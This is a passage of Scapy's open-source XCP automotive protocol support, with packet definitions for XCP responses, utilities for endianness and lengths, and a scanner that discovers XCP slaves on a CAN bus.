["master_block_mode", "interleaved_mode", "x2", "x3", "x4", "x5", "x6", "x7"]), ByteField("reserved2", 0), ByteField("max_bs", 0), ByteField("min_st", 0), ByteField("queue_size", 0), ByteField("xcp_driver_version_number", 0), ] class IdPositiveResponse(Packet): fields_desc = [ ByteField("mode", 0), XCPEndiannessField(ShortField("reserved", 0)), XCPEndiannessField(FieldLenField("length", None, length_of="element", fmt="I")), StrVarLenField("element", b"", length_from=lambda p: p.length, max_length=lambda pkt: get_ag()) ] class SeedPositiveResponse(Packet): fields_desc = [ FieldLenField("seed_length", None, length_of="seed", fmt="B"), StrVarLenField("seed", b"", length_from=lambda p: p.seed_length, max_length=lambda: get_max_cto() - 2) ] class UnlockPositiveResponse(Packet): fields_desc = [ FlagsField("current_resource_protection_status", 0, 8, ["cal_pag", "x1", "daq", "stim", "pgm", "x5", "x6", "x7"]) ] class UploadPositiveResponse(Packet): fields_desc = [ ConditionalField( StrLenField("alignment", b"", length_from=lambda pkt: get_ag() - 1), lambda _: get_ag() > 1), StrLenField("element", b"", length_from=lambda pkt: get_max_cto() - get_ag()), ] class ShortUploadPositiveResponse(Packet): fields_desc = [ ConditionalField( StrLenField("alignment", b"", length_from=lambda pkt: get_ag() - 1), lambda _: get_ag() > 1), StrLenField("element", b"", length_from=lambda pkt: get_max_cto() - get_ag()), ] class ChecksumPositiveResponse(Packet): checksum_type_dict = { 0x01: "XCP_ADD_11", 0x02: "XCP_ADD_12", 0x03: "XCP_ADD_14", 0x04: "XCP_ADD_22", 0x05: "XCP_ADD_24", 0x06: "XCP_ADD_44", 0x07: "XCP_CRC_16", 0x08: "XCP_CRC_16_CITT", 0x09: "XCP_CRC_32", 0xFF: "XCP_USER_DEFINED" } fields_desc = [ ByteEnumField("checksum_type", 0, checksum_type_dict), # specification says: position 2,3 type byte (not WORD) The example( # Part 5 Example Communication Sequences) shows 2 bytes for # "reserved" # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501 # --> 2 bytes XCPEndiannessField(ShortField("reserved", 0)), XCPEndiannessField(XIntField("checksum", 0)), ] class TransportLayerCmdGetSlaveIdResponse(Packet): fields_desc = [ XByteField("position_1", 0x58), # 0xA7 (inversed echo) XByteField("position_2", 0x43), # 0xBC (inversed echo) XByteField("position_3", 0x50), # 0xAF (inversed echo) XCPEndiannessField(IntField("can_identifier", 0)) ] class TransportLayerCmdGetDAQIdResponse(Packet): can_id_fixed_enum = { 0x00: "configurable", 0x01: "fixed" } fields_desc = [ ByteEnumField("can_id_fixed", 0xFE, can_id_fixed_enum), XCPEndiannessField(ShortField("reserved", 0)), XCPEndiannessField(IntField("can_identifier", 0)) ] class CalPagePositiveResponse(Packet): fields_desc = [ ByteField("reserved_1", 0), ByteField("reserved_2", 0), ByteField("logical_data_page_number", 0), ] class PagProcessorInfoPositiveResponse(Packet): fields_desc = [ ByteField("max_segment", 0), FlagsField("pag_properties", 0, 8, ["freeze_supported", "x1", "x2", "x3", "x4", "x5", "x6", "x7"]), ] class SegmentInfoMode0PositiveResponse(Packet): fields_desc = [ # spec: position 1-3: type byte # --> take position over type XCPEndiannessField(ThreeBytesField("reserved", 0)), XCPEndiannessField(IntField("basic_info", 0)), ] class SegmentInfoMode1PositiveResponse(Packet): fields_desc = [ ByteField("max_pages", 0), ByteField("address_extension", 0), ByteField("max_extension", 0), ByteField("compression_method", 0), ByteField("encryption_method", 0), ] class SegmentInfoMode2PositiveResponse(Packet): fields_desc = [ # spec: position 1-3: type byte # --> take position over type XCPEndiannessField(ThreeBytesField("reserved", 0)), XCPEndiannessField(IntField("mapping_info", 0)), ] class PageInfoPositiveResponse(Packet): fields_desc = [ FlagsField("page_properties", 0, 8, ["ecu_access_without_xcp", "ecu_access_with_xcp", "xcp_read_access_without_ecu", "xcp_read_access_with_ecu", "xcp_write_access_without_ecu", "xcp_write_access_with_ecu", "x6", "x7"]), ByteField("init_segment", 0), ] class SegmentModePositiveResponse(Packet): fields_desc = [ ByteField("reserved", 0), FlagsField("mode", 0, 8, ["freeze", "x1", "x2", "x3", "x4", "x5", "x6", "x7"]), ] class DAQListModePositiveResponse(Packet): fields_desc = [ FlagsField("current_mode", 0, 8, ["selected", "direction", "x2", "x3", "timestamp", "pid_off", "running", "resume"]), XCPEndiannessField(ShortField("reserved", 0)), XCPEndiannessField(ShortField("current_event_channel_number", 0)), ByteField("current_prescaler", 0), ByteField("current_daq_list_priority", 0), ] class StartStopDAQListPositiveResponse(Packet): fields_desc = [ ByteField("first_pid", 0), ] class DAQClockListPositiveResponse(Packet): fields_desc = [ # spec: position 1-3: type byte # --> take position over type XCPEndiannessField(ThreeBytesField("reserved", 0)), XCPEndiannessField(IntField("receive_timestamp", 0)) ] class ReadDAQPositiveResponse(Packet): fields_desc = [ ByteField("bit_offset", 0), ByteField("size_daq_element", 0), ByteField("address_extension_daq_element", 0), XCPEndiannessField(IntField("daq_element_address", 0)) ] class DAQProcessorInfoPositiveResponse(Packet): fields_desc = [ FlagsField("daq_properties", 0, 8, ["daq_config_type", "prescaler_supported", "resume_supported", "bit_stim_supported", "timestamp_supported", "pid_off_supported", "overload_msb", "overload_event"]), XCPEndiannessField(ShortField("max_daq", 0)), XCPEndiannessField(ShortField("max_event_channel", 0)), ByteField("min_daq", 0), FlagsField("daq_key_byte", 0, 8, ["optimisation_type_0", "optimisation_type_1", "optimisation_type_2", "optimisation_type_3", "address_extension_odt", "address_extension_daq", "identification_field_type_0", "identification_field_type_1"]), ] def write_identification_field_type_to_config(self): conf.contribs["XCP"][ "identification_field_type_0"] = bool( self.daq_key_byte.identification_field_type_0) conf.contribs["XCP"][ "identification_field_type_1"] = bool( self.daq_key_byte.identification_field_type_1) def post_dissection(self, pkt): self.write_identification_field_type_to_config() class DAQResolutionInfoPositiveResponse(Packet): fields_desc = [ ByteField("granularity_odt_entry_size_daq", 0), ByteField("max_odt_entry_size_daq", 0), ByteField("granularity_odt_entry_size_stim", 0), ByteField("max_odt_entry_size_stim", 0), FlagsField("timestamp_mode", 0, 8, ["size_0", "size_1", "size_2", "timestamp_fixed", "unit_0", "unit_1", "unit_2", "unit_3"]), XCPEndiannessField(ShortField("timestamp_ticks", 0)), ] def get_timestamp_size(self): size_0 = bool(self.timestamp_mode.size_0) size_1 = bool(self.timestamp_mode.size_1) size_2 = bool(self.timestamp_mode.size_2) if not size_2 and not size_1 == 0 and size_0: return 1 if not size_2 and size_1 and not size_0: return 2 if size_2 and not size_1 and not size_0: return 4 return 0 def write_timestamp_size_to_config(self): conf.contribs["XCP"]["timestamp_size"] = self.get_timestamp_size() def post_dissection(self, pkt): self.write_timestamp_size_to_config() class DAQListInfoPositiveResponse(Packet): fields_desc = [ FlagsField("daq_list_properties", 0, 8, ["predefined", "event_fixed", "daq", "stim", "x4", "x5", "x6", "x7"]), ByteField("max_odt", 0), ByteField("max_odt_entries", 0), XCPEndiannessField(ShortField("fixed_event", 0)), ] class DAQEventInfoPositiveResponse(Packet): fields_desc = [ FlagsField("daq_event_properties", 0, 8, ["x0", "x1", "daq", "stim", "x4", "x5", "x6", "x7"]), ByteField("max_daq_list", 0), ByteField("event_channel_name_length", 0), ByteField("event_channel_time_cycle", 0), ByteField("event_channel_time_unit", 0), ByteField("event_channel_priority", 0), ] class ProgramStartPositiveResponse(Packet): fields_desc = [ ByteField("reserved", 0), FlagsField("comm_mode_pgm", 0, 8, ["master_block_mode", "interleaved_mode", "x2", "x3", "x4", "x5", "slave_block_mode", "x7"]), ByteField("max_cto_pgm", 0), ByteField("max_bs_pgm", 0), ByteField("min_bs_pgm", 0), ByteField("queue_size_pgm", 0), ] class PgmProcessorPositiveResponse(Packet): fields_desc = [ FlagsField("pgm_properties", 0, 8, ["absolute_mode", "functional_mode", "compression_supported", "compression_required", "encryption_supported", "encryption_required", "non_seq_pgm_supported", "non_seq_pgm_required"]), ByteField("max_sector", 0), ] class SectorInfoPositiveResponse(Packet): fields_desc = [ ByteField("clear_sequence_number", 0), ByteField("program_sequence_number", 0), ByteField("programming_method", 0), XCPEndiannessField(IntField("sector_info", 0)) ] class EvPacket(Packet): """Event packet""" event_code_enum = { 0x00: "EV_RESUME_MODE", 0x01: "EV_CLEAR_DAQ", 0x02: "EV_STORE_DAQ", 0x03: "EV_STORE_CAL", 0x05: "EV_CMD_PENDING", 0x06: "EV_DAQ_OVERLOAD", 0x07: "EV_SESSION_TERMINATED", 0xFE: "EV_USER", 0xFF: "EV_TRANSPORT", } fields_desc = [ ByteEnumField("event_code", 0, event_code_enum), StrLenField("event_information_data", b"", max_length=lambda _: get_max_cto() - 2) ] class ServPacket(Packet): """Service Request packet""" service_request_code_enum = { 0x00: "SERV_RESET", 0x01: "SERV_TEXT", } fields_desc = [ ByteEnumField("service_request_code", 0, service_request_code_enum), StrLenField("command_response_data", b"", max_length=lambda _: get_max_cto() - 2) ] ================================================ FILE: scapy/contrib/automotive/xcp/scanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tabea Spahn # scapy.contrib.description = XCPScanner # scapy.contrib.status = loads import logging from collections import namedtuple from scapy.config import conf from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.xcp.cto_commands_master import \ TransportLayerCmd, TransportLayerCmdGetSlaveId, Connect from scapy.contrib.automotive.xcp.cto_commands_slave import \ ConnectPositiveResponse, TransportLayerCmdGetSlaveIdResponse from scapy.contrib.automotive.xcp.xcp import CTORequest, XCPOnCAN from scapy.contrib.cansocket_native import CANSocket # Typing imports from typing import ( Optional, List, Type, Iterator, ) XCPScannerResult = namedtuple('XCPScannerResult', 'request_id response_id') class XCPOnCANScanner: """ Scans for XCP Slave on CAN """ def __init__(self, can_socket, id_range=None, sniff_time=0.1, add_padding=False, verbose=False): # type: (CANSocket, Optional[Iterator[int]], Optional[float], Optional[bool], Optional[bool]) -> None # noqa: E501 """ Constructor :param can_socket: Can Socket with XCPonCAN as basecls for scan :param id_range: CAN id range to scan :param sniff_time: time the scan waits for a response after sending a request """ conf.contribs["XCP"]["add_padding_for_can"] = add_padding self.__socket = can_socket self.id_range = id_range or range(0, 0x800) self.__sniff_time = sniff_time if verbose: log_automotive.setLevel(logging.DEBUG) def _scan(self, identifier, body, pid, answer_type): # type: (int, CTORequest, int, Type) -> List # noqa: E501 log_automotive.info("Scan for id: " + str(identifier)) flags = 'extended' if identifier >= 0x800 else 0 cto_request = \ XCPOnCAN(identifier=identifier, flags=flags) \ / CTORequest(pid=pid) / body req_and_res_list, _unanswered = \ self.__socket.sr(cto_request, timeout=self.__sniff_time, verbose=False, multi=True) if len(req_and_res_list) == 0: log_automotive.info( "No answer for identifier: " + str(identifier)) return [] valid_req_and_res_list = filter( lambda req_and_res: req_and_res[1].haslayer(answer_type), req_and_res_list) return list(valid_req_and_res_list) def _send_connect(self, identifier): # type: (int) -> List[XCPScannerResult] """ Sends CONNECT Message on the Control Area Network """ all_slaves = [] body = Connect(connection_mode=0x00) xcp_req_and_res_list = self._scan(identifier, body, 0xFF, ConnectPositiveResponse) for req_and_res in xcp_req_and_res_list: result = XCPScannerResult(response_id=req_and_res[1].identifier, request_id=identifier) all_slaves.append(result) log_automotive.info( "Detected XCP slave for broadcast identifier: " + str( identifier) + "\nResponse: " + str(result)) if len(all_slaves) == 0: log_automotive.info( "No XCP slave detected for identifier: " + str(identifier)) return all_slaves def _send_get_slave_id(self, identifier): # type: (int) -> List[XCPScannerResult] """ Sends GET_SLAVE_ID message on the Control Area Network """ all_slaves = [] body = TransportLayerCmd() / TransportLayerCmdGetSlaveId() xcp_req_and_res_list = \ self._scan( identifier, body, 0xF2, TransportLayerCmdGetSlaveIdResponse) for req_and_res in xcp_req_and_res_list: response = req_and_res[1] # The protocol will also mark other XCP messages that might be # send as TransportLayerCmdGetSlaveIdResponse # -> Payload must be checked. It must include XCP if response.position_1 != 0x58 or response.position_2 != 0x43 or \ response.position_3 != 0x50: continue # Identifier that the master must use to send packets to the slave # and the slave will answer with request_id = \ response["TransportLayerCmdGetSlaveIdResponse"].can_identifier result = XCPScannerResult(request_id=request_id, response_id=response.identifier) all_slaves.append(result) log_automotive.info( "Detected XCP slave for broadcast identifier: " + str( identifier) + "\nResponse: " + str(result)) return all_slaves def scan_with_get_slave_id(self): # type: () -> List[XCPScannerResult] """Starts the scan for XCP devices on CAN with the transport specific GetSlaveId Message""" log_automotive.info("Start scan with GetSlaveId id in range: " + str( self.id_range)) for identifier in self.id_range: ids = self._send_get_slave_id(identifier) if len(ids) > 0: return ids return [] def scan_with_connect(self): # type: () -> List[XCPScannerResult] log_automotive.info("Start scan with CONNECT id in range: " + str( self.id_range)) results = [] for identifier in self.id_range: result = self._send_connect(identifier) if len(result) > 0: results.extend(result) return results ================================================ FILE: scapy/contrib/automotive/xcp/utils.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Tabea Spahn # scapy.contrib.status = skip import struct from scapy.config import conf from scapy.contrib.automotive import log_automotive from scapy.fields import StrLenField from scapy.volatile import RandBin, RandNum def get_max_cto(): max_cto = conf.contribs['XCP']['MAX_CTO'] if max_cto: return max_cto log_automotive.warning("Define conf.contribs['XCP']['MAX_CTO'].") raise KeyError("conf.contribs['XCP']['MAX_CTO'] not defined") def get_max_dto(): max_dto = conf.contribs['XCP']['MAX_DTO'] if max_dto: return max_dto else: log_automotive.warning("Define conf.contribs['XCP']['MAX_DTO'].") raise KeyError("conf.contribs['XCP']['MAX_DTO'] not defined") def get_ag(): address_granularity = conf.contribs['XCP']['Address_Granularity_Byte'] if address_granularity and address_granularity in [1, 2, 4]: return address_granularity else: log_automotive.warning( "Define conf.contribs['XCP']['Address_Granularity_Byte']." "Assign either 1, 2 or 4") return 1 # With TIMESTAMP_MODE and TIMESTAMP_TICKS at GET_DAQ_RESOLUTION_INFO, # the slave informs the master about the Type of Timestamp Field # the slave will use when transferring DAQ Packets to the master. # The master has to use the same Type of Timestamp Field when transferring # STIM Packets to the slave. TIMESTAMP_MODE and TIMEPSTAMP_TICKS contain # information on the resolution of the data transfer clock. def get_timestamp_length(): return conf.contribs['XCP']['timestamp_size'] def identification_field_needs_alignment(): try: identification_field_type_0 = conf.contribs['XCP'][ 'identification_field_type_0'] identification_field_type_1 = conf.contribs['XCP'][ 'identification_field_type_1'] if identification_field_type_1 == 1 and \ identification_field_type_0 == 1: # relative odt with daq as word (aligned) return True return False except KeyError: return False def get_daq_length(): try: identification_field_type_0 = conf.contribs['XCP'][ 'identification_field_type_0'] identification_field_type_1 = conf.contribs['XCP'][ 'identification_field_type_1'] if identification_field_type_1 == 0 and \ identification_field_type_0 == 0: # absolute odt number return 0 if identification_field_type_1 == 0 and \ identification_field_type_0 == 1: # relative odt with daq as byte return 1 # relative odt with daq as word return 2 except KeyError: return 0 def get_daq_data_field_length(): try: data_length = get_max_dto() except KeyError: return 0 data_length -= 1 # pid if identification_field_needs_alignment(): data_length -= 1 data_length -= get_daq_length() return data_length # Idea taken from scapy/scapy/contrib/dce_rpc.py class XCPEndiannessField(object): """Field which changes the endianness of a sub-field""" __slots__ = ["fld"] def __init__(self, fld): self.fld = fld def set_endianness(self): """Add the endianness to the format""" byte_oder = conf.contribs['XCP']['byte_order'] endianness = ">" if byte_oder == 1 else "<" self.fld.fmt = endianness + self.fld.fmt[1:] self.fld.struct = struct.Struct(self.fld.fmt) def getfield(self, pkt, s): self.set_endianness() return self.fld.getfield(pkt, s) def addfield(self, pkt, s, val): self.set_endianness() return self.fld.addfield(pkt, s, val) def __getattr__(self, attr): return getattr(self.fld, attr) class StrVarLenField(StrLenField): def randval(self): return RandBin(RandNum(0, self.max_length() or 1200)) ================================================ FILE: scapy/contrib/automotive/xcp/xcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Tabea Spahn # scapy.contrib.description = Universal calibration and measurement protocol (XCP) # noqa: E501 # scapy.contrib.status = loads import struct from scapy.config import conf from scapy.contrib.automotive.xcp.cto_commands_master import Connect, \ Disconnect, GetStatus, Synch, GetCommModeInfo, GetId, SetRequest, \ GetSeed, Unlock, SetMta, Upload, ShortUpload, BuildChecksum, \ TransportLayerCmd, TransportLayerCmdGetSlaveId, \ TransportLayerCmdGetDAQId, TransportLayerCmdSetDAQId, UserCmd, Download, \ DownloadNext, DownloadMax, ShortDownload, ModifyBits, SetCalPage, \ GetCalPage, GetPagProcessorInfo, GetSegmentInfo, GetPageInfo, \ SetSegmentMode, GetSegmentMode, CopyCalPage, SetDaqPtr, WriteDaq, \ SetDaqListMode, GetDaqListMode, StartStopDaqList, StartStopSynch, \ ReadDaq, GetDaqClock, GetDaqProcessorInfo, GetDaqResolutionInfo, \ GetDaqListInfo, GetDaqEventInfo, ClearDaqList, FreeDaq, AllocDaq, \ AllocOdt, AllocOdtEntry, ProgramStart, ProgramClear, Program, \ ProgramReset, GetPgmProcessorInfo, GetSectorInfo, ProgramPrepare, \ ProgramFormat, ProgramNext, ProgramMax, ProgramVerify from scapy.contrib.automotive.xcp.cto_commands_slave import \ GenericResponse, NegativeResponse, EvPacket, ServPacket, \ TransportLayerCmdGetSlaveIdResponse, TransportLayerCmdGetDAQIdResponse, \ SegmentInfoMode0PositiveResponse, SegmentInfoMode1PositiveResponse, \ SegmentInfoMode2PositiveResponse, ConnectPositiveResponse, \ StatusPositiveResponse, CommonModeInfoPositiveResponse, \ IdPositiveResponse, SeedPositiveResponse, UnlockPositiveResponse, \ UploadPositiveResponse, ShortUploadPositiveResponse, \ ChecksumPositiveResponse, CalPagePositiveResponse, \ PagProcessorInfoPositiveResponse, PageInfoPositiveResponse, \ SegmentModePositiveResponse, DAQListModePositiveResponse, \ StartStopDAQListPositiveResponse, DAQClockListPositiveResponse, \ ReadDAQPositiveResponse, DAQProcessorInfoPositiveResponse, \ DAQResolutionInfoPositiveResponse, DAQListInfoPositiveResponse, \ DAQEventInfoPositiveResponse, ProgramStartPositiveResponse, \ PgmProcessorPositiveResponse, SectorInfoPositiveResponse from scapy.contrib.automotive.xcp.utils import get_timestamp_length, \ identification_field_needs_alignment, get_daq_length, \ get_daq_data_field_length from scapy.fields import ByteEnumField, ShortField, XBitField, \ FlagsField, ByteField, ThreeBytesField, StrField, ConditionalField, \ XByteField, StrLenField from scapy.layers.can import CAN from scapy.layers.inet import UDP, TCP from scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down conf.contribs.setdefault("XCP", {}) # 0 stands for Intel/little-endian format, 1 for Motorola/big-endian format conf.contribs["XCP"].setdefault("byte_order", 1) conf.contribs["XCP"].setdefault("allow_byte_order_change", True) # Can be 1, 2 or 4 conf.contribs["XCP"].setdefault("Address_Granularity_Byte", None) conf.contribs["XCP"].setdefault("allow_ag_change", True) conf.contribs["XCP"].setdefault("MAX_CTO", None) conf.contribs["XCP"].setdefault("MAX_DTO", None) conf.contribs["XCP"].setdefault("allow_cto_and_dto_change", True) conf.contribs["XCP"].setdefault("add_padding_for_can", False) conf.contribs['XCP'].setdefault('timestamp_size', 0) # Specifications from: # http://read.pudn.com/downloads293/doc/comm/1316424/ASAM_XCP_Part1-Overview_V1.0.0.pdf # noqa: E501 # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%202-%20Protocol%20Layer%20Specification%20-1.0.pdf # noqa: E501 # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%203-%20Transport_layer_specification_xcp_on_can_1-0.pdf # noqa: E501 # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%204-%20Interface%20Specification%20-1.0.pdf # noqa: E501 # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501 # XCP on USB is left out because it has "no practical meaning" # XCP on Lin is left out because it has no official specification class XCPOnCAN(CAN): name = "Universal calibration and measurement protocol on CAN" fields_desc = [ FlagsField("flags", 0, 3, ["error", "remote_transmission_request", "extended"]), XBitField("identifier", 0, 29), ByteField("length", None), ThreeBytesField("reserved", 0), ] def post_build(self, pkt, pay): if self.length is None or \ (len(pay) < 8 and conf.contribs["XCP"]["add_padding_for_can"]): tmp_len = 8 if conf.contribs["XCP"]["add_padding_for_can"] else \ len(pay) pkt = pkt[:4] + struct.pack("B", tmp_len) + pkt[5:] pay += b"\xCC" * (tmp_len - len(pay)) return super(XCPOnCAN, self).post_build(pkt, pay) def extract_padding(self, p): return p[:self.length], None class XCPOnUDP(UDP): name = "Universal calibration and measurement protocol on Ethernet" fields_desc = UDP.fields_desc + [ ShortField("length", None), ShortField("ctr", 0), # counter ] def post_build(self, pkt, pay): if self.length is None: tmp_len = len(pay) pkt = pkt[:8] + struct.pack("!H", tmp_len) + pkt[10:] return super(XCPOnUDP, self).post_build(pkt, pay) class XCPOnTCP(TCP): name = "Universal calibration and measurement protocol on Ethernet" fields_desc = TCP.fields_desc + [ ShortField("length", None), ShortField("ctr", 0), # counter ] def answers(self, other): if not isinstance(other, XCPOnTCP): return 0 if isinstance(other.payload, CTORequest) and isinstance(self.payload, CTOResponse): return self.payload.answers(other.payload) def post_build(self, pkt, pay): if self.length is None: len_offset = 20 + len(self.options) tmp_len = len(pay) tmp_len = struct.pack("!H", tmp_len) pkt = pkt[:len_offset] + tmp_len + pkt[len_offset + 2:] return super(XCPOnTCP, self).post_build(pkt, pay) class XCPOnCANTail(Packet): name = "XCP Tail on CAN" fields_desc = [ StrField("control_field", "") ] class CTORequest(Packet): pids = { # Standard commands 0xFF: "CONNECT", 0xFE: "DISCONNECT", 0xFD: "GET_STATUS", 0xFC: "SYNCH", 0xFB: "GET_COMM_MODE_INFO", 0xFA: "GET_ID", 0xF9: "SET_REQUEST", 0xF8: "GET_SEED", 0xF7: "UNLOCK", 0xF6: "SET_MTA", 0xF5: "UPLOAD", 0xF4: "SHORT_UPLOAD", 0xF3: "BUILD_CHECKSUM", 0xF2: "TRANSPORT_LAYER_CMD", 0xF1: "USER_CMD", # Calibration commands 0xF0: "DOWNLOAD", 0xEF: "DOWNLOAD_NEXT", 0xEE: "DOWNLOAD_MAX", 0xED: "SHORT_DOWNLOAD", 0xEC: "MODIFY_BITS", # Page change commands 0xEB: "SET_CAL_PAGE", 0xEA: "GET_CAL_PAGE", 0xE9: "GET_PAG_PROCESSOR_INFO", 0xE8: "GET_SEGMENT_INFO", 0xE7: "GET_PAGE_INFO", 0xE6: "SET_SEGMENT_MODE", 0xE5: "GET_SEGMENT_MODE", 0xE4: "COPY_CAL_PAGE", # Periodic data exchange basics 0xE2: "SET_DAQ_PTR", 0xE1: "WRITE_DAQ", 0xE0: "SET_DAQ_LIST_MODE", 0xDF: "GET_DAQ_LIST_MODE", 0xDE: "START_STOP_DAQ_LIST", 0xDD: "START_STOP_SYNCH", 0xC7: "WRITE_DAQ_MULTIPLE", 0xDB: "READ_DAQ", 0xDC: "GET_DAQ_CLOCK", 0xDA: "GET_DAQ_PROCESSOR_INFO", 0xD9: "GET_DAQ_RESOLUTION_INFO", 0xD8: "GET_DAQ_LIST_INFO", 0xD7: "GET_DAQ_EVENT_INFO", # Periodic data exchange static configuration 0xE3: "CLEAR_DAQ_LIST", # Cyclic data exchange dynamic configuration 0xD6: "FREE_DAQ", 0xD5: "ALLOC_DAQ", 0xD4: "ALLOC_ODT", 0xD3: "ALLOC_ODT_ENTRY", # Flash programming 0xD2: "PROGRAM_START", 0xD1: "PROGRAM_CLEAR", 0xD0: "PROGRAM", 0xCF: "PROGRAM_RESET", 0xCE: "GET_PGM_PROCESSOR_INFO", 0xCD: "GET_SECTOR_INFO", 0xCC: "PROGRAM_PREPARE", 0xCB: "PROGRAM_FORMAT", 0xCA: "PROGRAM_NEXT", 0xC9: "PROGRAM_MAX", 0xC8: "PROGRAM_VERIFY", } for pid in range(0, 192): pids[pid] = "STIM" name = "Command Transfer Object Request" fields_desc = [ ByteEnumField("pid", 0xFF, pids), ] # ##### CTO COMMANDS ###### # STANDARD COMMANDS bind_layers(CTORequest, Connect, pid=0xFF) bind_layers(CTORequest, Disconnect, pid=0xFE) bind_layers(CTORequest, GetStatus, pid=0xFD) bind_layers(CTORequest, Synch, pid=0xFC) bind_layers(CTORequest, GetCommModeInfo, pid=0xFB) bind_layers(CTORequest, GetId, pid=0xFA) bind_layers(CTORequest, SetRequest, pid=0xF9) bind_layers(CTORequest, GetSeed, pid=0xF8) bind_layers(CTORequest, Unlock, pid=0xF7) bind_layers(CTORequest, SetMta, pid=0xF6) bind_layers(CTORequest, Upload, pid=0xF5) bind_layers(CTORequest, ShortUpload, pid=0xF4) bind_layers(CTORequest, BuildChecksum, pid=0xF3) bind_layers(CTORequest, TransportLayerCmd, pid=0xF2) bind_layers(CTORequest, TransportLayerCmdGetSlaveId, pid=0xF2, sub_command_code=0xFF) bind_layers(CTORequest, TransportLayerCmdGetDAQId, pid=0xF2, sub_command_code=0xFE) bind_layers(CTORequest, TransportLayerCmdSetDAQId, pid=0xF2, sub_command_code=0xFD) bind_layers(CTORequest, UserCmd, pid=0xF1) # Calibration Commands bind_layers(CTORequest, Download, pid=0xF0) bind_layers(CTORequest, DownloadNext, pid=0xEF) bind_layers(CTORequest, DownloadMax, pid=0xEE) bind_layers(CTORequest, ShortDownload, pid=0xED) bind_layers(CTORequest, ModifyBits, pid=0xEC) # Page Switching commands bind_layers(CTORequest, SetCalPage, pid=0xEB) bind_layers(CTORequest, GetCalPage, pid=0xEA) bind_layers(CTORequest, GetPagProcessorInfo, pid=0xE9) bind_layers(CTORequest, GetSegmentInfo, pid=0xE8) bind_layers(CTORequest, GetPageInfo, pid=0xE7) bind_layers(CTORequest, SetSegmentMode, pid=0xE6) bind_layers(CTORequest, GetSegmentMode, pid=0xE5) bind_layers(CTORequest, CopyCalPage, pid=0xE4) # Cyclic Data exchange Basic commands bind_layers(CTORequest, SetDaqPtr, pid=0xE2) bind_layers(CTORequest, WriteDaq, pid=0xE1) bind_layers(CTORequest, SetDaqListMode, pid=0xE0) bind_layers(CTORequest, GetDaqListMode, pid=0xDF) bind_layers(CTORequest, StartStopDaqList, pid=0xDE) bind_layers(CTORequest, StartStopSynch, pid=0xDD) bind_layers(CTORequest, ReadDaq, pid=0xDB) bind_layers(CTORequest, GetDaqClock, pid=0xDC) bind_layers(CTORequest, GetDaqProcessorInfo, pid=0xDA) bind_layers(CTORequest, GetDaqResolutionInfo, pid=0xD9) bind_layers(CTORequest, GetDaqListInfo, pid=0xD8) bind_layers(CTORequest, GetDaqEventInfo, pid=0xD7) # Cyclic data transfer - static configuration commands bind_layers(CTORequest, ClearDaqList, pid=0xE3) # Cyclic Data transfer - dynamic configuration commands bind_layers(CTORequest, FreeDaq, pid=0xD6) bind_layers(CTORequest, AllocDaq, pid=0xD5) bind_layers(CTORequest, AllocOdt, pid=0xD4) bind_layers(CTORequest, AllocOdtEntry, pid=0xD3) # Flash Programming commands bind_layers(CTORequest, ProgramStart, pid=0xD2) bind_layers(CTORequest, ProgramClear, pid=0xD1) bind_layers(CTORequest, Program, pid=0xD0) bind_layers(CTORequest, ProgramReset, pid=0xCF) bind_layers(CTORequest, GetPgmProcessorInfo, pid=0xCE) bind_layers(CTORequest, GetSectorInfo, pid=0xCD) bind_layers(CTORequest, ProgramPrepare, pid=0xCC) bind_layers(CTORequest, ProgramFormat, pid=0xCB) bind_layers(CTORequest, ProgramNext, pid=0xCA) bind_layers(CTORequest, ProgramMax, pid=0xC9) bind_layers(CTORequest, ProgramVerify, pid=0xC8) # ##### DTOs ##### # Master -> Slave: STIM (Stimulation) # Slave -> Master: DAQ (Data AcQuisition) class DTO(Packet): name = "Data transfer object" fields_desc = [ ConditionalField(XByteField("fill", 0x00), lambda _: identification_field_needs_alignment()), ConditionalField( StrLenField("daq", b"", length_from=lambda _: get_daq_length()), lambda _: get_daq_length() > 0), ConditionalField( StrLenField("timestamp", b"", length_from=lambda _: get_timestamp_length()), lambda _: get_timestamp_length() > 0), ConditionalField( StrLenField("data", b"", length_from=lambda _: get_daq_data_field_length()), lambda _: get_daq_data_field_length() > 0) ] for pid in range(0, 0xBF + 1): bind_layers(CTORequest, DTO, pid=pid) class CTOResponse(Packet): packet_codes = { 0xFF: "RES", 0xFE: "ERR", 0xFD: "EV", 0xFC: "SERV", } name = "Command Transfer Object Response" fields_desc = [ ByteEnumField("packet_code", 0xFF, packet_codes), ] @staticmethod def get_positive_response_cls(request): # The pid of the request this packet is the response for request_pid = request.pid # First check the special cases with sub commands # They can't be fit in a simple dictionary, # so deal with them separately if request_pid == 0xF2: if request.sub_command_code == 255: return TransportLayerCmdGetSlaveIdResponse if request.sub_command_code == 254: return TransportLayerCmdGetDAQIdResponse if request_pid == 0xE8: if request.mode == "get_basic_address_info": return SegmentInfoMode0PositiveResponse if request.mode == "get_standard_info": return SegmentInfoMode1PositiveResponse if request.mode == "get_address_mapping_info": return SegmentInfoMode2PositiveResponse return {0xFF: ConnectPositiveResponse, 0xFD: StatusPositiveResponse, 0xFB: CommonModeInfoPositiveResponse, 0xFA: IdPositiveResponse, 0xF8: SeedPositiveResponse, 0xF7: UnlockPositiveResponse, 0xF5: UploadPositiveResponse, 0xF4: ShortUploadPositiveResponse, 0xF3: ChecksumPositiveResponse, 0xEA: CalPagePositiveResponse, 0xE9: PagProcessorInfoPositiveResponse, 0xE7: PageInfoPositiveResponse, 0xE5: SegmentModePositiveResponse, 0xDF: DAQListModePositiveResponse, 0xDE: StartStopDAQListPositiveResponse, 0xDC: DAQClockListPositiveResponse, 0xDB: ReadDAQPositiveResponse, 0xDA: DAQProcessorInfoPositiveResponse, 